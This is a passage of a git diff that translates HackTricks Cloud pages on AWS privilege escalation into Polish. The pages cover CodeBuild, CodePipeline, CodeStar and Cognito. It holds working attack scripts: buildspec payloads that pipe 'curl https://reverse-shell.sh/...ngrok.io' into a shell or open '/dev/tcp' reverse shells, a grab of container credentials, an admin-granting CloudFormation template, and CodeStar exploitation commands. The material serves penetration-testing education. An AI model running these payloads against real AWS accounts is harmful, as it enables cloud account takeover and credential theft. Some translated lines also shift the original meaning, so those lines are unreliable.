IAM i ukraść token. ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -171,20 +162,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" # You need to indicate the name of the project you want to modify JSON="{ - \"name\": \"\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"aws/codebuild/standard:1.0\", - \"computeType\": \"BUILD_GENERAL1_SMALL\" - }, - \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" +\"name\": \"\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"aws/codebuild/standard:1.0\", +\"computeType\": \"BUILD_GENERAL1_SMALL\" +}, +\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" printf "$JSON" > $REV_PATH @@ -193,16 +184,14 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` - -**Potential Impact:** Direct privesc to any AWS Codebuild role. +**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli AWS Codebuild. ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Like in the previous section but **without the `iam:PassRole` permission**, you can abuse this permissions to **modify existing Codebuild projects and access the role they already have assigned**. +Jak w poprzedniej sekcji, ale **bez uprawnienia `iam:PassRole`**, możesz nadużywać tych uprawnień, aby **modyfikować istniejące projekty Codebuild i uzyskiwać dostęp do roli, którą już mają przypisaną**. {{#tabs }} {{#tab name="StartBuild" }} - ```sh REV_PATH="/tmp/codebuild_pwn.json" @@ -213,20 +202,20 @@ REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" JSON="{ - \"name\": \"\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", - \"computeType\": \"BUILD_GENERAL1_SMALL\", - \"imagePullCredentialsType\": \"CODEBUILD\" - } +\"name\": \"\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", +\"computeType\": \"BUILD_GENERAL1_SMALL\", +\"imagePullCredentialsType\": \"CODEBUILD\" +} }" # Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild! @@ -237,11 +226,9 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` - {{#endtab }} {{#tab name="StartBuildBatch" }} - ```sh REV_PATH="/tmp/codebuild_pwn.json" @@ -250,20 +237,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" # You need to indicate the name of the project you want to modify JSON="{ - \"name\": \"project_name\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", - \"computeType\": \"BUILD_GENERAL1_SMALL\", - \"imagePullCredentialsType\": \"CODEBUILD\" - } +\"name\": \"project_name\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", +\"computeType\": \"BUILD_GENERAL1_SMALL\", +\"imagePullCredentialsType\": \"CODEBUILD\" +} }" printf "$JSON" > $REV_PATH @@ -274,41 +261,37 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build-batch --project-name codebuild-demo-project ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**Potencjalny wpływ:** Bezpośrednie privesc do dołączonych ról AWS Codebuild. ### SSM -Having **enough permissions to start a ssm session** it's possible to get **inside a Codebuild project** being built. +Mając **wystarczające uprawnienia do rozpoczęcia sesji ssm**, możliwe jest **wejście do projektu Codebuild**, który jest budowany. -The codebuild project will need to have a breakpoint: +Projekt codebuild musi mieć punkt przerwania:
phases:
-  pre_build:
-    commands:
-      - echo Entered the pre_build phase...
-      - echo "Hello World" > /tmp/hello-world
+pre_build:
+commands:
+- echo Wejście w fazę pre_build...
+- echo "Hello World" > /tmp/hello-world
       - codebuild-breakpoint
 
-And then: - +A następnie: ```bash aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` - -For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). +For more info [**sprawdź dokumentację**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -An attacker able to start/restart a build of a specific CodeBuild project which stores its `buildspec.yml` file on an S3 bucket the attacker has write access to, can obtain command execution in the CodeBuild process. - -Note: the escalation is relevant only if the CodeBuild worker has a different role, hopefully more privileged, than the one of the attacker. +Atakujący, który może uruchomić/ponownie uruchomić budowę konkretnego projektu CodeBuild, który przechowuje swój plik `buildspec.yml` w wiadrze S3, do którego atakujący ma dostęp do zapisu, może uzyskać wykonanie poleceń w procesie CodeBuild. +Uwaga: eskalacja jest istotna tylko wtedy, gdy pracownik CodeBuild ma inną rolę, miejmy nadzieję, że bardziej uprzywilejowaną, niż ta atakującego. ```bash aws s3 cp s3:///buildspec.yml ./ @@ -325,29 +308,22 @@ aws codebuild start-build --project-name # Wait for the reverse shell :) ``` - -You can use something like this **buildspec** to get a **reverse shell**: - +Możesz użyć czegoś takiego jak **buildspec**, aby uzyskać **reverse shell**: ```yaml:buildspec.yml version: 0.2 phases: - build: - commands: - - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 +build: +commands: +- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` - -**Impact:** Direct privesc to the role used by the AWS CodeBuild worker that usually has high privileges. +**Wpływ:** Bezpośrednie privesc do roli używanej przez pracownika AWS CodeBuild, która zazwyczaj ma wysokie uprawnienia. > [!WARNING] -> Note that the buildspec could be expected in zip format, so an attacker would need to download, unzip, modify the `buildspec.yml` from the root directory, zip again and upload +> Należy zauważyć, że buildspec może być oczekiwany w formacie zip, więc atakujący musiałby pobrać, rozpakować, zmodyfikować `buildspec.yml` z katalogu głównego, ponownie spakować i przesłać -More details could be found [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). +Więcej szczegółów można znaleźć [tutaj](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**Potencjalny wpływ:** Bezpośrednie privesc do dołączonych ról AWS Codebuild. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md index 0662ae9e2..762578a5a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md @@ -4,7 +4,7 @@ ## codepipeline -For more info about codepipeline check: +Aby uzyskać więcej informacji na temat codepipeline, sprawdź: {{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,13 +12,13 @@ For more info about codepipeline check: ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` -When creating a code pipeline you can indicate a **codepipeline IAM Role to run**, therefore you could compromise them. +Podczas tworzenia pipeline'u kodu możesz wskazać **rolę IAM codepipeline do uruchomienia**, dlatego możesz je skompromitować. -Apart from the previous permissions you would need **access to the place where the code is stored** (S3, ECR, github, bitbucket...) +Oprócz wcześniejszych uprawnień potrzebujesz **dostępu do miejsca, w którym przechowywany jest kod** (S3, ECR, github, bitbucket...) -I tested this doing the process in the web page, the permissions indicated previously are the not List/Get ones needed to create a codepipeline, but for creating it in the web you will also need: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` +Testowałem to, wykonując proces na stronie internetowej, wcześniejsze wskazane uprawnienia to nie List/Get, które są potrzebne do stworzenia pipeline'u kodu, ale do jego utworzenia w sieci będziesz również potrzebować: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` -During the **creation of the build project** you can indicate a **command to run** (rev shell?) and to run the build phase as **privileged user**, that's the configuration the attacker needs to compromise: +Podczas **tworzenia projektu budowy** możesz wskazać **komendę do uruchomienia** (rev shell?) i uruchomić fazę budowy jako **użytkownik z uprawnieniami**, to jest konfiguracja, której potrzebuje atakujący, aby skompromitować: ![](<../../../images/image (276).png>) @@ -26,16 +26,12 @@ During the **creation of the build project** you can indicate a **command to run ### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` -It might be possible to modify the role used and the command executed on a codepipeline with the previous permissions. +Może być możliwe modyfikowanie roli używanej i komendy wykonywanej w codepipeline z wcześniejszymi uprawnieniami. ### `codepipeline:pollforjobs` -[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): +[AWS wspomina](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): -> When this API is called, CodePipeline **returns temporary credentials for the S3 bucket** used to store artifacts for the pipeline, if the action requires access to that S3 bucket for input or output artifacts. This API also **returns any secret values defined for the action**. +> Gdy to API jest wywoływane, CodePipeline **zwraca tymczasowe poświadczenia dla koszyka S3** używanego do przechowywania artefaktów dla pipeline'u, jeśli akcja wymaga dostępu do tego koszyka S3 dla artefaktów wejściowych lub wyjściowych. To API również **zwraca wszelkie wartości sekretne zdefiniowane dla akcji**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index 387c6ffff..c473974c4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -4,7 +4,7 @@ ## Codestar -You can find more information about codestar in: +Możesz znaleźć więcej informacji o codestar w: {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md ### `iam:PassRole`, `codestar:CreateProject` -With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. Check the following page: +Dzięki tym uprawnieniom możesz **nadużyć roli IAM codestar** do wykonania **dowolnych działań** za pomocą **szablonu cloudformation**. Sprawdź następującą stronę: {{#ref}} iam-passrole-codestar-createproject.md @@ -20,14 +20,13 @@ iam-passrole-codestar-createproject.md ### `codestar:CreateProject`, `codestar:AssociateTeamMember` -This technique uses `codestar:CreateProject` to create a codestar project, and `codestar:AssociateTeamMember` to make an IAM user the **owner** of a new CodeStar **project**, which will grant them a **new policy with a few extra permissions**. - +Ta technika wykorzystuje `codestar:CreateProject` do stworzenia projektu codestar oraz `codestar:AssociateTeamMember` do uczynienia użytkownika IAM **właścicielem** nowego projektu CodeStar, co przyzna im **nową politykę z kilkoma dodatkowymi uprawnieniami**. ```bash PROJECT_NAME="supercodestar" aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \ - --name $PROJECT_NAME \ - --id $PROJECT_NAME +--name $PROJECT_NAME \ +--id $PROJECT_NAME echo "Waiting 1min to start the project" sleep 60 @@ -35,15 +34,14 @@ sleep 60 USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"') aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \ - --project-id $PROJECT_NAME \ - --user-arn "$USER_ARN" \ - --project-role "Owner" \ - --remote-access-allowed +--project-id $PROJECT_NAME \ +--user-arn "$USER_ARN" \ +--project-role "Owner" \ +--remote-access-allowed ``` +Jeśli jesteś już **członkiem projektu**, możesz użyć uprawnienia **`codestar:UpdateTeamMember`**, aby **zaktualizować swoją rolę** na właściciela zamiast `codestar:AssociateTeamMember`. -If you are already a **member of the project** you can use the permission **`codestar:UpdateTeamMember`** to **update your role** to owner instead of `codestar:AssociateTeamMember` - -**Potential Impact:** Privesc to the codestar policy generated. You can find an example of that policy in: +**Potencjalny wpływ:** Privesc do polityki codestar. Możesz znaleźć przykład tej polityki w: {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -51,27 +49,23 @@ codestar-createproject-codestar-associateteammember.md ### `codestar:CreateProjectFromTemplate` -1. **Create a New Project:** - - Utilize the **`codestar:CreateProjectFromTemplate`** action to initiate the creation of a new project. - - Upon successful creation, access is automatically granted for **`cloudformation:UpdateStack`**. - - This access specifically targets a stack associated with the `CodeStarWorker--CloudFormation` IAM role. -2. **Update the Target Stack:** - - With the granted CloudFormation permissions, proceed to update the specified stack. - - The stack's name will typically conform to one of two patterns: - - `awscodestar--infrastructure` - - `awscodestar--lambda` - - The exact name depends on the chosen template (referencing the example exploit script). -3. **Access and Permissions:** - - Post-update, you obtain the capabilities assigned to the **CloudFormation IAM role** linked with the stack. - - Note: This does not inherently provide full administrator privileges. Additional misconfigured resources within the environment might be required to elevate privileges further. +1. **Utwórz nowy projekt:** +- Wykorzystaj akcję **`codestar:CreateProjectFromTemplate`**, aby rozpocząć tworzenie nowego projektu. +- Po pomyślnym utworzeniu, dostęp jest automatycznie przyznawany dla **`cloudformation:UpdateStack`**. +- Ten dostęp dotyczy konkretnej stosu powiązanej z rolą IAM `CodeStarWorker--CloudFormation`. +2. **Zaktualizuj docelowy stos:** +- Z przyznanymi uprawnieniami CloudFormation, przystąp do aktualizacji określonego stosu. +- Nazwa stosu zazwyczaj będzie odpowiadać jednemu z dwóch wzorców: +- `awscodestar--infrastructure` +- `awscodestar--lambda` +- Dokładna nazwa zależy od wybranego szablonu (odwołując się do przykładowego skryptu exploit). +3. **Dostęp i uprawnienia:** +- Po aktualizacji uzyskujesz możliwości przypisane do **roli IAM CloudFormation** powiązanej z tym stosem. +- Uwaga: To nie zapewnia z definicji pełnych uprawnień administratora. Dodatkowe źle skonfigurowane zasoby w środowisku mogą być wymagane do dalszego podniesienia uprawnień. -For more information check the original research: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ -You can find the exploit in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) +Aby uzyskać więcej informacji, sprawdź oryginalne badania: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ +Możesz znaleźć exploit w [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) -**Potential Impact:** Privesc to cloudformation IAM role. +**Potencjalny wpływ:** Privesc do roli IAM cloudformation. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md index 0de95738e..e7b43ccdf 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md @@ -2,84 +2,78 @@ {{#include ../../../../banners/hacktricks-training.md}} -This is the created policy the user can privesc to (the project name was `supercodestar`): - +To jest utworzona polityka, do której użytkownik może uzyskać podwyższone uprawnienia (nazwa projektu to `supercodestar`): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "1", - "Effect": "Allow", - "Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"], - "Resource": [ - "arn:aws:codestar:eu-west-1:947247140022:project/supercodestar", - "arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent", - "arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner" - ] - }, - { - "Sid": "2", - "Effect": "Allow", - "Action": [ - "codestar:DescribeUserProfile", - "codestar:ListProjects", - "codestar:ListUserProfiles", - "codestar:VerifyServiceRole", - "cloud9:DescribeEnvironment*", - "cloud9:ValidateEnvironmentName", - "cloudwatch:DescribeAlarms", - "cloudwatch:GetMetricStatistics", - "cloudwatch:ListMetrics", - "codedeploy:BatchGet*", - "codedeploy:List*", - "codestar-connections:UseConnection", - "ec2:DescribeInstanceTypeOfferings", - "ec2:DescribeInternetGateways", - "ec2:DescribeNatGateways", - "ec2:DescribeRouteTables", - "ec2:DescribeSecurityGroups", - "ec2:DescribeSubnets", - "ec2:DescribeVpcs", - "events:ListRuleNamesByTarget", - "iam:GetAccountSummary", - "iam:GetUser", - "iam:ListAccountAliases", - "iam:ListRoles", - "iam:ListUsers", - "lambda:List*", - "sns:List*" - ], - "Resource": ["*"] - }, - { - "Sid": "3", - "Effect": "Allow", - "Action": [ - "codestar:*UserProfile", - "iam:GenerateCredentialReport", - "iam:GenerateServiceLastAccessedDetails", - "iam:CreateAccessKey", - "iam:UpdateAccessKey", - "iam:DeleteAccessKey", - "iam:UpdateSSHPublicKey", - "iam:UploadSSHPublicKey", - "iam:DeleteSSHPublicKey", - "iam:CreateServiceSpecificCredential", - "iam:UpdateServiceSpecificCredential", - "iam:DeleteServiceSpecificCredential", - "iam:ResetServiceSpecificCredential", - "iam:Get*", - "iam:List*" - ], - "Resource": ["arn:aws:iam::947247140022:user/${aws:username}"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "1", +"Effect": "Allow", +"Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"], +"Resource": [ +"arn:aws:codestar:eu-west-1:947247140022:project/supercodestar", +"arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent", +"arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner" +] +}, +{ +"Sid": "2", +"Effect": "Allow", +"Action": [ +"codestar:DescribeUserProfile", +"codestar:ListProjects", +"codestar:ListUserProfiles", +"codestar:VerifyServiceRole", +"cloud9:DescribeEnvironment*", +"cloud9:ValidateEnvironmentName", +"cloudwatch:DescribeAlarms", +"cloudwatch:GetMetricStatistics", +"cloudwatch:ListMetrics", +"codedeploy:BatchGet*", +"codedeploy:List*", +"codestar-connections:UseConnection", +"ec2:DescribeInstanceTypeOfferings", +"ec2:DescribeInternetGateways", +"ec2:DescribeNatGateways", +"ec2:DescribeRouteTables", +"ec2:DescribeSecurityGroups", +"ec2:DescribeSubnets", +"ec2:DescribeVpcs", +"events:ListRuleNamesByTarget", +"iam:GetAccountSummary", +"iam:GetUser", +"iam:ListAccountAliases", +"iam:ListRoles", +"iam:ListUsers", +"lambda:List*", +"sns:List*" +], +"Resource": ["*"] +}, +{ +"Sid": "3", +"Effect": "Allow", +"Action": [ +"codestar:*UserProfile", +"iam:GenerateCredentialReport", +"iam:GenerateServiceLastAccessedDetails", +"iam:CreateAccessKey", +"iam:UpdateAccessKey", +"iam:DeleteAccessKey", +"iam:UpdateSSHPublicKey", +"iam:UploadSSHPublicKey", +"iam:DeleteSSHPublicKey", +"iam:CreateServiceSpecificCredential", +"iam:UpdateServiceSpecificCredential", +"iam:DeleteServiceSpecificCredential", +"iam:ResetServiceSpecificCredential", +"iam:Get*", +"iam:List*" +], +"Resource": ["arn:aws:iam::947247140022:user/${aws:username}"] +} +] } ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md index 891d72df5..30b7057f2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md @@ -2,42 +2,39 @@ {{#include ../../../../banners/hacktricks-training.md}} -With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. - -To exploit this you need to create a **S3 bucket that is accessible** from the attacked account. Upload a file called `toolchain.json` . This file should contain the **cloudformation template exploit**. The following one can be used to set a managed policy to a user under your control and **give it admin permissions**: +Dzięki tym uprawnieniom możesz **nadużyć roli IAM codestar**, aby wykonać **dowolne działania** za pomocą **szablonu cloudformation**. +Aby to wykorzystać, musisz utworzyć **wiadro S3, które jest dostępne** z zaatakowanego konta. Prześlij plik o nazwie `toolchain.json`. Plik ten powinien zawierać **eksploit szablonu cloudformation**. Poniższy może być użyty do ustawienia zarządzanej polityki dla użytkownika pod twoją kontrolą i **przyznania mu uprawnień administratora**: ```json:toolchain.json { - "Resources": { - "supercodestar": { - "Type": "AWS::IAM::ManagedPolicy", - "Properties": { - "ManagedPolicyName": "CodeStar_supercodestar", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "*", - "Resource": "*" - } - ] - }, - "Users": [""] - } - } - } +"Resources": { +"supercodestar": { +"Type": "AWS::IAM::ManagedPolicy", +"Properties": { +"ManagedPolicyName": "CodeStar_supercodestar", +"PolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "*", +"Resource": "*" +} +] +}, +"Users": [""] +} +} +} } ``` - -Also **upload** this `empty zip` file to the **bucket**: +Również **prześlij** ten `empty zip` plik do **bucketu**: {% file src="../../../../images/empty.zip" %} -Remember that the **bucket with both files must be accessible by the victim account**. - -With both things uploaded you can now proceed to the **exploitation** creating a **codestar** project: +Pamiętaj, że **bucket z oboma plikami musi być dostępny przez konto ofiary**. +Po przesłaniu obu rzeczy możesz teraz przejść do **eksploatacji**, tworząc projekt **codestar**: ```bash PROJECT_NAME="supercodestar" @@ -45,19 +42,19 @@ PROJECT_NAME="supercodestar" ## In this JSON the bucket and key (path) to the empry.zip file is used SOURCE_CODE_PATH="/tmp/surce_code.json" SOURCE_CODE="[ - { - \"source\": { - \"s3\": { - \"bucketName\": \"privesc\", - \"bucketKey\": \"empty.zip\" - } - }, - \"destination\": { - \"codeCommit\": { - \"name\": \"$PROJECT_NAME\" - } - } - } +{ +\"source\": { +\"s3\": { +\"bucketName\": \"privesc\", +\"bucketKey\": \"empty.zip\" +} +}, +\"destination\": { +\"codeCommit\": { +\"name\": \"$PROJECT_NAME\" +} +} +} ]" printf "$SOURCE_CODE" > $SOURCE_CODE_PATH @@ -65,28 +62,23 @@ printf "$SOURCE_CODE" > $SOURCE_CODE_PATH ## In this JSON the bucket and key (path) to the toolchain.json file is used TOOLCHAIN_PATH="/tmp/tool_chain.json" TOOLCHAIN="{ - \"source\": { - \"s3\": { - \"bucketName\": \"privesc\", - \"bucketKey\": \"toolchain.json\" - } - }, - \"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\" +\"source\": { +\"s3\": { +\"bucketName\": \"privesc\", +\"bucketKey\": \"toolchain.json\" +} +}, +\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\" }" printf "$TOOLCHAIN" > $TOOLCHAIN_PATH # Create the codestar project that will use the cloudformation epxloit to privesc aws codestar create-project \ - --name $PROJECT_NAME \ - --id $PROJECT_NAME \ - --source-code file://$SOURCE_CODE_PATH \ - --toolchain file://$TOOLCHAIN_PATH +--name $PROJECT_NAME \ +--id $PROJECT_NAME \ +--source-code file://$SOURCE_CODE_PATH \ +--toolchain file://$TOOLCHAIN_PATH ``` - -This exploit is based on the **Pacu exploit of these privileges**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) On it you can find a variation to create an admin managed policy for a role instead of to a user. +To exploit this, you need to have the **Pacu exploit of these privileges**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Możesz tam znaleźć wariant do stworzenia zarządzanej polityki administratora dla roli zamiast dla użytkownika. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index ddd0c1efd..482e6e9f8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -4,28 +4,27 @@ ## Cognito -For more info about Cognito check: +Aby uzyskać więcej informacji na temat Cognito, sprawdź: {{#ref}} ../aws-services/aws-cognito-enum/ {{#endref}} -### Gathering credentials from Identity Pool +### Zbieranie poświadczeń z Identity Pool -As Cognito can grant **IAM role credentials** to both **authenticated** an **unauthenticated** **users**, if you locate the **Identity Pool ID** of an application (should be hardcoded on it) you can obtain new credentials and therefore privesc (inside an AWS account where you probably didn't even have any credential previously). +Ponieważ Cognito może przyznać **poświadczenia roli IAM** zarówno **uwierzytelnionym**, jak i **nieuwierzytelnionym** **użytkownikom**, jeśli znajdziesz **ID Identity Pool** aplikacji (powinno być zakodowane w niej), możesz uzyskać nowe poświadczenia, a tym samym privesc (w ramach konta AWS, na którym prawdopodobnie nie miałeś wcześniej żadnych poświadczeń). -For more information [**check this page**](../aws-unauthenticated-enum-access/#cognito). +Aby uzyskać więcej informacji, [**sprawdź tę stronę**](../aws-unauthenticated-enum-access/#cognito). -**Potential Impact:** Direct privesc to the services role attached to unauth users (and probably to the one attached to auth users). +**Potencjalny wpływ:** Bezpośredni privesc do roli usługowej przypisanej do użytkowników nieuwierzytelnionych (a prawdopodobnie także do tej przypisanej do użytkowników uwierzytelnionych). ### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` -With this permission you can **grant any cognito role** to the authenticated/unauthenticated users of the cognito app. - +Dzięki temu uprawnieniu możesz **przyznać dowolną rolę cognito** uwierzytelnionym/nieuwierzytelnionym użytkownikom aplikacji cognito. ```bash aws cognito-identity set-identity-pool-roles \ - --identity-pool-id \ - --roles unauthenticated= +--identity-pool-id \ +--roles unauthenticated= # Get credentials ## Get one ID @@ -33,286 +32,243 